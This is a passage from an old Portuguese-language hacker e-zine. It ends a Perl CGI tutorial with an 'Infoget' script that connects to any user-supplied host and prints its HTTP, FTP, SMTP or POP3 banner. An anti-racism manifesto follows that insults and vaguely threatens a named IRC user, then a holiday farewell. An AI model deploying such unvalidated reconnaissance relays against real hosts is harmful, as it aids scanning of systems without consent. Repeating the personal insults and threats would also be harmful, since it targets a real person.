#!/usr/bin/perl
print "Content-type: text/html\n\n";

# funcao que poe variavel na query_string
sub parse_query {
  my $string;
  my %in;
  if ($ENV{'REQUEST_METHOD'} eq "POST") {
    read(STDIN, $string, $ENV{'CONTENT_LENGTH'});
  } elsif ($ENV{'REQUEST_METHOD'} eq "GET") {
    $string = $ENV{'QUERY_STRING'};
  }

  $string =~ s/\+/ /g;
  $string =~ s/\%([0-9A-Fa-f][0-9A-Fa-f])/pack('C', hex("$1"))/eg;

  my @vars = split(/&/, $string);
  foreach (@vars) {
    my ($var, $value) = split(/=/, $_);
    $query{$var} = $value;
  }
  return %in;
}


# chamando a funcao
&parse_query;  

# body
print '
<html>
<head>
<title></title>
</head>
<body bgcolor="#ffffff">
';


if($query{'nome'} eq "Backz") 
{
print '
<font face="verdana" size="2">Diga ola pru Backz..;))</font>
';
}

elsif($query{'nome'} eq "CodeBR")
{
print '
<font face="verdana" size="2">Vida longa a '."$query{'nome'}".'</font>
';
}

else {
print '
<font face="tahoma" size="2"><b>Sai pra lah man..</b></font>
';
}


print '
</body>
</html>
';

# EOF





.:) 3 - Infoget em CGI

Com cgi vc pode criar o que quizer no que estiver ao alcance do Perl
at mesmo mexer com sockets. Veja o script abaixo:



#!d:\perl\bin\perl.exe
# Infoget CGI version
# coded by backz
# backzoverflow@yahoo.com

# funcao que poe variavel na query_string
sub parse_query {
  my $string;
  my %in;
  if ($ENV{'REQUEST_METHOD'} eq "POST") {
    read(STDIN, $string, $ENV{'CONTENT_LENGTH'});
  } elsif ($ENV{'REQUEST_METHOD'} eq "GET") {
    $string = $ENV{'QUERY_STRING'};
  }

  $string =~ s/\+/ /g;
  $string =~ s/\%([0-9A-Fa-f][0-9A-Fa-f])/pack('C', hex("$1"))/eg;

  my @vars = split(/&/, $string);
  foreach (@vars) {
    my ($var, $value) = split(/=/, $_);
    $query{$var} = $value;
  }
  return %in;
}


# chamando a funcao
&parse_query; 

print "Content-type: text/html\n\n";


print '
<html>
<head>
<title>Infoget</title>
</head>
<body bgcolor="#ffffff">
';


# HTML para envio
sub html{
print '
<form action="infoget.cgi">
<table border="0" align="center">

</tr><tr>
</table>
<table border="0" align="center">
<tr><td><font face="verdana" size="2">Host:</font></td></tr>
<tr><td><input type="text" name="host"></td></tr>
<tr><td><font face="verdana" size="2">Servio:</font></td></tr>
<tr><td>
<font face="verdana" size="2">
<input type="radio" name="port" value="http"> http<br>
<input type="radio" name="port" value="ftp"> ftp<br>
<input type="radio" name="port" value="smtp"> smtp<br>
<input type="radio" name="port" value="pop3"> pop3<br>
</font>
</td>
</tr>
</table>
<center><input type="submit" value="Ver Banner!"><br><br>
<font face="arial" size="1">(c)2001 - Backz Overflow</font></center>
</form>
';  
}



if($query{'port'} eq "http")
{
use Socket;
$port="80";
$host="$query{'host'}";
$iaddr=inet_aton($host) or die "Error: $!";
$paddr=sockaddr_in($port, $iaddr) or die "Error: $!";
$proto=getprotobyname('tcp') or die "Error - Protocol: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";;
$submit = "HEAD / HTTP/1.0\r\n\r\n";
send(SOCK, $submit, 0) or die "Error: $!";

print '<PRE>';
while(<SOCK>){	print $_;
}close(SOCK);
print '</PRE>';

close Socket;
print '<hr>';
&html;
}


elsif($query{'port'} eq "ftp")
{
use Socket;
$port="21";
$host="$query{'host'}";
$iaddr=inet_aton($host) or die "Error: $!";
$paddr=sockaddr_in($port, $iaddr) or die "Error: $!";
$proto=getprotobyname('tcp') or die "Error - Protocol: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";;
$submit = "quit\n";
send(SOCK, $submit, 0) or die "Error: $!";

print '<PRE>';
while(<SOCK>){	print $_;
}close(SOCK);
print '</PRE>';

close Socket;
print '<hr>';
&html;
}


elsif($query{'port'} eq "smtp")
{
use Socket;
$port="25";
$host="$query{'host'}";
$iaddr=inet_aton($host) or die "Error: $!";
$paddr=sockaddr_in($port, $iaddr) or die "Error: $!";
$proto=getprotobyname('tcp') or die "Error - Protocol: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";;
$submit = "quit\n";
send(SOCK, $submit, 0) or die "Error: $!";

print '<PRE>';
while(<SOCK>){	print $_;
}close(SOCK);
print '</PRE>';

close Socket;
print '<hr>';
&html;
}


elsif($query{'port'} eq "pop3")
{
use Socket;
$port="110";
$host="$query{'host'}";
$iaddr=inet_aton($host) or die "Error: $!";
$paddr=sockaddr_in($port, $iaddr) or die "Error: $!";
$proto=getprotobyname('tcp') or die "Error - Protocol: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";;
$submit = "quit\n";
send(SOCK, $submit, 0) or die "Error: $!";

print '<PRE>';
while(<SOCK>){	print $_;
}close(SOCK);
print '</PRE>';

close Socket;
print '<hr>';
&html;
}



else
{
&html;
}

# EOF



.:) 4 - Ends
 
  Finalizo este texto aqui feliz por ter doado um pco do meu 
conhecimento.
  

  sem palavras.. 
  

  Um abrao a todos

                                                 Backz
                                                 backzoverflow@yahoo.com              
.:x| -------------------------------------------------------------------|x:.










SETOR [0x12]
==[ Manifesto!!! ]==
==[ por Gotoxy   ]==

#######################
# Racismo no Brasil   #
#######################

    O Racismo no Brasil ainda existe.. a raca negra, por muitos, eh 
considerada uma raca ruim... Um exemplo do racismo aki no brasil foi
nakele programa No Limite.. puts, no N.L.1, um kra la chamou um negro
de "crioulo".. no N.L.3, uma mulher diz q nunca q iria deixar sua
filha casar com um negro... pow.. eu fico vendo isso.. da raiva d+ 
vei.. Bem.. o motivo de eu estar falando sobre isso, eh pq um tal de
Morfeu, um lammerzin e racista q fica na brasnet, quis publicar um
txt aki no zbr, xingando um negro aih.. pow.. isso me deixou irritado
demais.. e eu q achava q ele era um boa pessoa, putss.. ow Morfeu,
soh pq vc eh branco, nao se ache superior a ninguem!! bahhh.. quis ideia
mermao!! C tah precisando de uns tapas seu playboyzin.. e oce q nao abre os 
olho pro c v nao.. qlq dia aih, tem um "neguin" apagando tu.. ow entao
alguem abrindo um processo contra vc!!(aguarde, esse dia ainda chega!) 
continue racista Morfeu!! C vai ver onde vai parar seu otario..

   Isso nao vai soh para o Morfeu nao!! Isso vai para todos os fdps
racistas existentes no Brasil (e no mundo todo)!! Um dia 6 vao pagar cambada
de otarios!! Se nao for aki, na Terra, vai ser quando 6 morrerem!! 

   O lammerzin!! Oce mesmo Morfeu!! Vai estudar mais sobre... ta?? Vai la
ler sobre a tal Lei Aurea! C nao estuda nao fi??? C nao sabe que existem
pessoas de peles mais escuras e de peles menos escuras nao? Isso eh
devido aos pigmentos da pele,etc.. duh!!! Vai estudar.. nao vou ficar aki
te ensinando nao seu playbozin..

   Tou chamando o maldito de Lammerzin, pq ele veio tentando tomar
o meu canal.. dando ping.. ai ai ai.. atitudes lammas!

   Eu sou branco com orgulho!! Se eu fosse negro, tb seria com muito orgulho!!
Enfim.. Dou gracas a Deus do jeito que eu sou!! Ninguem eh perfeito.. ta
escutando manezin?? Cada um eh de um jeito.. vivemos numa sociedade onde ninguem
eh igual a ninguem.. cada um tem os seus problemas..sua dificuldades...
devemos respeitar a si mesmos e ao proximo! Soh seremos realmente ser-humanos
quando respeitarmos o proximo! Como ta vendo, eu nao to te respeitando.. seu
estupido!:P Eh.. ainda nao sou um ser-humano! Seu otario, babaca, stupido,
enfim, lammerzin! :P
    O meu objetivo eh esse mesmo!! Deixar vc puto da vida comigo!! :P Quero te 
mostar q ninguem gosta de ser tratado como um "lixo"!! E eh isso mesmo.. nao 
julgue as pessoas negras como sendo "lixos"!! Vc pode ser branco.. mas por 
dentro , c nao eh nada!! Eh melhor tu mudar!! Ainda ha tempo de mudar.. 
Entenda: se vc nao pode viver numa sociedade onde ha 2 tipos de racas 
diferentes, isole-se! De preferencia, bem lonnnnngeeee de nos!

    Bem eh isso.. espero q isso sirva como uma licao de moral para vc...
q vergonha em morfeu?? c nao precisava estar ouvindo isso.. talvez tu
mude agora, ou algum dia.. ou talvez continue com esse rascimo idiota!!
aconselho vc mudar, e eh claro, pra melhor! bemm.. faca o q tu achar melhor, 
afinal, a vida eh sua! soh espero q faca a melhor coisa!

   Sem mais,
Gotoxy.

Ps1: Meus amigos me chamam de gotoxy, voce pode me chamar de robocop!
Ps2: duh! :P
Ps3: vi isso num filme!!
Ps4: O filme era do robocop !!

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x13]
==[ Ultimas palavras ]==
==[ por Gotoxy       ]==

Eh pessoal....
Edicao finalizada!! E como viram, foram poucos setores dessa vez! O
motivo todos ja sabem: eu queria q essa edicao saisse no natal!
Ano que vem, em fevereiro vamos estar retornando!! Mas em Janeiro,
se voce tiver uma materia interessante, mande para nos.. valeu!

Bom eh isso!!

ZINESBR DESEJA A TODOS UM FELIZ NATAL!!
         ATE ANO QUE VEM IRMAOS!!

AGRADECIMENTOS: ao Suke, por ter salvado a page do Zinesbr!
a todos os meus amigos e amigas (do mundo real e do inreal)...
E um beijao pra Tassiana!!! Ps: na boca hein tassi =]

BOAS FERIAS PESSOAL!!
E UM FELIZ ANO NOVO!! E UM ADEUS ANO VELHO! =]


FIM!!


	   _/\_ 
         '\    /'
         '/_  _\'
	   /\/\
          ( ) '\         Feliz Natal e um 
         /'   (&)          prspero Ano Novo
        /'.     '\
       /''  (^)  ~\
      / (&)  '' ~(^)
     / ''~     ~~   \
    /($) ''   ~~    (_)
   /  '~( ) ''' (&)'' \    _
   ~~~~~~~'{  }'~~~~~~~   ) ( 
           {  }    _____ / | \
         ..'.".". /_//_/\\___/ 
                  \ \\ \ \ 
                   \_\\_\/ 
by Backz!

Ps: eu pedi ao Backz para que ele fizeste um Papai-Noel, 
mas ia demorar muito (na verdade ele disse que era foda!:),
e entao mandou a arvore! hehe valeu!!

t+ minha genti!!


-------------------------< End Of File >-------------------------